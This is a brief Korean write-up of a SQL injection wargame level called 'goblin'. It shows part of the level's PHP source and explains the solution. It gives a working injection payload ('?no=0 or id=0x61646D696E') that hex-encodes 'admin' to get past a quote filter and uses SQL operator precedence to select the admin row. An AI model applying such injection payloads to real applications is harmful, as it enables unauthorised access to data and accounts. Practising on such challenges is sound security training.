query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}
"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>
id가 admin이어야 한다!
하지만 쿼리문에 guest가 있다
그리고 no로 입력값을 넣어준다!
id 에 ' " ` 가 있으면 안된다!
그렇다면 ' 을 우회해서 문자열을 넣어주면 된다! 헥스값으로 넣어주자!
no=1일때 guest이므로 no가 1이 아닌 0을 넣어주면
?no=0 or id=0x61646D696E
id='guest' and no=0 or id=0x61646d696e가 된다.
and가 or보다 연산자 우선순위가 높으므로
(id='guest' and no=0) or (id=0x61646d696e)가 되므로 admin으로 select된다!